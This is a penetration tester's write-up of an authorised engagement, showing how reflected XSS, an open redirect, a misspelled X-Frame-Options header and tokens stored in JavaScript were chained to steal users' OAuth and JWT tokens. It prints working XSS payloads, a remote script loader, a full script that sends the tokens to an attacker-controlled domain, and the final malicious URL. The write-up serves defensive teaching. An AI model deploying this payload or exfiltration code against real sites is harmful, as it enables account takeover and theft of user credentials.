Intro
Organizations often ignore the presence of low-risk vulnerabilities. One of our ethical hackers describes a real case to illustrate the consequences.
This article is about an authorization vulnerability we discovered during one of our pentest engagements for one of our clients. To protect their identity, let’s assume that the asset in-scope was REDACTED.com.
Chaining a number of low-risk vulnerabilities on REDACTED.com allowed us to craft an exploit that can be used to steal OAuth and JWT tokens of end-users. These tokens allow a malicious party to perform GraphQL operations (e.g., RentalHistory, UserInfo, deleteRecording, etc.) impersonating the victim.
A minimum of user interaction is required to trigger the exploit. Authenticated users are affected once they click on a malicious link. On the other hand, unauthenticated users are prompted to log in first. After submitting their credentials, the exploit is triggered.
Full details of the finding can be found below. To summarize, the authorization bypass is made possible by combining the following low-risk findings:
- Insecure token handling on REDACTED.com
- Reflected Cross-site Scripting (XSS)
- Misconfigured “X-Frame-Options” response header
- Open redirect
- REDACTED.com and the XSS vulnerable webpage share the same origin
To expand our attack surface, we had to adjust our proof-of-concept (PoC) to at least guarantee its execution within the context of multiple types of browsers since not all of them handle input the same way. As it turned out, we managed to get it working on the latest versions of Google Chrome, Mozilla Firefox, and Microsoft Edge.
Examining the HTML source code
Examining the HTML source code for vulnerabilities is one of the tasks a penetration tester performs during a web application security assessment. In our particular case, while reviewing the client-side source code of the web application, we noticed a JavaScript object called “DR_MDW”. From the information we received at the beginning of the assessment, we know that “MDW” is related to the GraphQL API.
Request
GET /nl HTTP/1.1
Host: uat.REDACTED.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response
HTTP/1.1 200 OK Server: nginx
Date: Mon, 06 Jul 2020 12:19:42 GMT Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: max-age=300, private
X-Frame-Option: sameorigin pragma: no-cache
expires: -1
Vary: Accept-Encoding
Age: 0
Content-Length: 364089
…[SNIP]…
(function () {
DR_MDW.Config.language = ‘nl’
DR_MDW.Config.refreshTokenCallBack = function () {
if (!DR_MDW.Config.getOauthToken()) {
window.location = ‘/nl/connect/start?ru=’ + encodeURIComponent(window.location.href);
return;
}
var url = “http://uat.REDACTED.com/nl/connect/refresh?ru=” + encodeURIComponent(window.location.href);
const refreshTokenPromise = fetch(url, {
credentials: “include”
});
…[SNIP]…
At first glance, this JavaScript object looked relatively uncommon. We used Firefox Developer tools to inspect it during the execution flow. After the authentication process, we noticed that the object was assigned two new variables, “ mdwJwt” and “ oauthToken”. As both names imply, the variables contain respectively an OAuth and JWT token. These tokens identify the user and are used to perform authorized GraphQL operations.
These tokens are stored in JavaScript, allowing an attacker to access and steal them through a Cross-site Scripting (XSS) attack. When user input is not validated properly, attackers can inject client-side code (JavaScript), which is then rendered and executed in the web application context.
The XSS vulnerability we were looking for had to fulfill several prerequisites. It had to be on the REDACTED.com domain and, at the same time, effective against unauthenticated users or authenticated users on REDACTED.com. After a couple of hours walking through the main website, we noticed a public webpage called “irg.html”. In our Burp Suite History, we noticed that the parameter “irg” was used in this request and that the value “verhoeven” was assigned to it.
Notice that our payload (‘</script>) was injected in the parameter name itself and that it was reflected and rendered as valid HTML in the response.
Request
GET /nl/forms/irg.html?irg’%3c/script%3e=verhoeven HTTP/1.1
Host: www-uat.REDACTED.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response
HTTP/1.1 200
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Date: Mon, 06 Jul 2020 13:26:42 GMT Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 82359
Connection: close
…[SNIP]…
iportalFn.wfbForm.init(“Ctrl256369d56b514a6d9af0cf4b075a6cc8″,”webformcc8″,{},”0.json”,”captcha?width=350&height=65″, {lang:”
"irg'</script>”: [
“REDACTED”
]
});
…[SNIP]…
The goal was to inject a script tag that would point to an external script through the “src” attribute. As script tags are not subject to the same-origin policy (SOP), we can host a script on our server and write code without any limitations. However, after fuzzing the XSS vulnerability for a while, we noticed that double-quotes were properly escaped and that an opening script tag caused the server to respond with “HTTP 400 Bad Request”. An image tag with an XSS payload in a JavaScript attribute also triggered an HTTP 400 status. Common bypass techniques such as (Double) URL and HTML encoding didn’t offer any relief.
There was clearly some filtering going on, but not how it is commonly recommended by official sources such as OWASP. We had to find a tag that is not blacklisted. By using the PortSwigger XSS cheat sheet, we found out that we could inject JavaScript by using the following payload:
‘</script><audio src/onerror=alert(document.domain)>
After applying URL encoding, the payload turned into this:
%27%3c/script%3e%3Caudio%20src%2Fonerror%3Dalert(document.domain)%3E
Request
GET /nl/forms/irg.html?irg%27%3C/script%3E%3Caudio%20src%2Fonerror%3Dalert(document.domain)%3E=t HTTP/1.1
Host: www-uat.REDACTED.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Response
HTTP/1.1 200
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Date: Mon, 06 Jul 2020 14:31:15 GMT Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 82731
Connection: close
…[SNIP]…
<script type=”text/javascript” src=”js/main.js”>
</script>
<script type=”text/javascript”> iportalFn.wfbForm.init(“Ctrl256369d56b514a6d9af0cf4b075a6cc8″,”webformcc8″,{},”0.json”,”captcha?width=350&height=65″, {lang:”
“irg'</script><audio src/onerror=alert(document.domain)>”: [
“REDACTED”
]
}); </script>
…[SNIP]…
First goal: check, next steps in our plan of attack
We have reached our first objective. Next, in order to steal authorization tokens, we had to go further than just popping an alert box. Through the “onerror” attribute of the audio tag, we managed to dynamically add a script tag to the DOM by writing the following code.
var tag=document.createElement(‘script’);
tag.src=’https://www.REDACTED.xyz/poc.js’;
document.body.appendChild(tag);
A couple of things can be highlighted here.
- The “src” attribute of the script tag points to an external script hosted on our server.
- We bought a domain name, as a valid SSL/TLS certificate was required to make the exploit work. The server would otherwise complain about, e.g., Self-signed certificate or mixed active content if we used plain HTTP.
As we could not use double quotes in our XSS payload, every white space was considered as a separation between attributes, e.g., the white space between “var” and “tag” in our payload turns into:
<audio src/onerror=var tag=document.createElement(‘script’);>
Using single quotes didn’t help us either, as these were already used in our payload. We, therefore, had to HTML encode the white space and then URL encode the special characters.
After the encoding process, our final XSS payload resulted in:
%27%3C/script%3E%3Caudio%20src%2Fonerror%3Dvar%26%23×20;tag%3ddocument.createElement(%27script%27);tag.src%3d%27https://www.REDACTED.xyz/poc.js%27;document.body.appendChild(tag);%3E
At this point, we managed to load our externally hosted script through an XSS attack. The script would allow us to write code without any limitations. Let’s go over the script line by line. First, an iframe is created. The iframe frames the web application.
var iframe = document.createElement(‘iframe’);
iframe.src = ‘https://www.REDACTED.com/nl’;
iframe.id = ‘davinsilabs’;
Framing a web application is only possible when the “X-Frame-Options” response header is not set or not properly configured. However, a particular detail caught our eye. The letter “s” was missing from the term “Option”. As a result, the header is not functioning properly and allows us to frame it from another origin. Had the letter “s” been set, our attack vector would still work as the header is set to “sameorigin”. This basically means that REDACTED.com and the webpage vulnerable to XSS are hosted on the same domain. Furthermore, we had to divert the source of the iframe to the production instance of REDACTED.com because our exploit wouldn’t work if we used the UAT instance we tested on. The UAT instance resided on a different domain, which conflicts with the same-origin policy.
X-Frame-Option: sameorigin
Setting the attributes “allow-scripts allow-same-origin” to the iframe tag allowed us to access the DOM of the iframe, also known as the child window.
iframe.sandbox = ‘allow-scripts allow-same-origin’
The iframe is added to the DOM and once it is loaded, the OAuth and the JWT token are stored in variables. These variables are used as an argument for the “send” function.
document.body.appendChild(iframe);
document.getElementById(‘davinsilabs’).onload= function() {
var oauthToken = document.getElementById(‘davinsilabs’). contentWindow.DR_MDW.Config.oauthToken;
var mdwJwt = document.getElementById(‘davinsilabs’).contentWindow.DR_MDW.Config.mdwJwt;
send(oauthToken);
send(mdwJwt);
};
The “send” function simply performs a GET request to our controlled server together with the content of the “data” variable. In this case, the OAuth and JWT token.
function send(data) {
fetch(‘https://www.REDACTED.xyz/?data=’ + data, {
mode: ‘no-cors’
})
}
The entire script is shown below:
var iframe = document.createElement(‘iframe’);
iframe.src = ‘https://www.REDACTED.com/nl’;
iframe.id = ‘davinsilabs’;
iframe.sandbox = ‘allow-scripts allow-same-origin’
document.body.appendChild(iframe);
document.getElementById(‘davinsilabs’).onload= function() {
var oauthToken = document.getElementById(‘davinsilabs’). contentWindow.DR_MDW.Config.oauthToken;
var mdwJwt = document.getElementById(‘davinsilabs’).contentWindow.DR_MDW.Config.mdwJwt;
send(oauthToken);
send(mdwJwt);
};
function send(data) {
fetch(‘https://www.REDACTED.xyz/?data=’ + data, {
mode: ‘no-cors’
})
}
The key to success
To guarantee success, we had to ensure that the victim would have an active session on REDACTED.com. For this to work, the open redirect vulnerability we found comes into play. Authenticated users are automatically redirected to the XSS vulnerability, and unauthenticated users are first shown the legitimate login prompt. After submitting their credentials, they are then redirected to the vulnerable webpage as well.
Combining the XSS with the open redirect vulnerability produced the following URL. Notice that we had to URL encode the XSS payload twice to make it work as the browser decodes it twice due to the open redirect vulnerability.
https://www.REDACTED.com/nl/connect/start?ru=https%3A%2F
%2Fwww.REDACTED.com%2Fnl%2Fid_f_cb_irg%2FREDACTED%2FREDACTED%2Fforms%2Firg.html%3Firg%2527%253C%2Fscript
%253E%253Caudio%2520src%252Fonerror%253Dvar%2526%2523×20%3Btag%253ddocument.createElement(%2527script%2527)
%3Btag.src%253d%2527https%3A%2F%2Fwww.REDACTED.xyz%2Fpoc.js%2527%3Bdocument.body.appendChild(tag)%3B%253E%3Dt
Finally, both the OAuth and JWT token are leaked to the attacker’s server once the URL above is clicked.
An attacker could use these tokens to query the MDW GraphQL API by using the victim’s identity. As GraphQL introspection was enabled, an attacker has insight in all available GraphQL operations, e.g., disclosing the victim’s pin code.
Summary / lessons learned
Chaining low-risk vulnerabilities as shown in this article requires the ethical hacker to think out-of-the-box. The context is always different and it is not always straightforward to complete the picture. Still today, anno 2020, automated vulnerability scanners do not succeed in discovering vulnerabilities like this. A manual penetration test takes more time, but findings like the one we discussed prove that it is definitely worth the investment.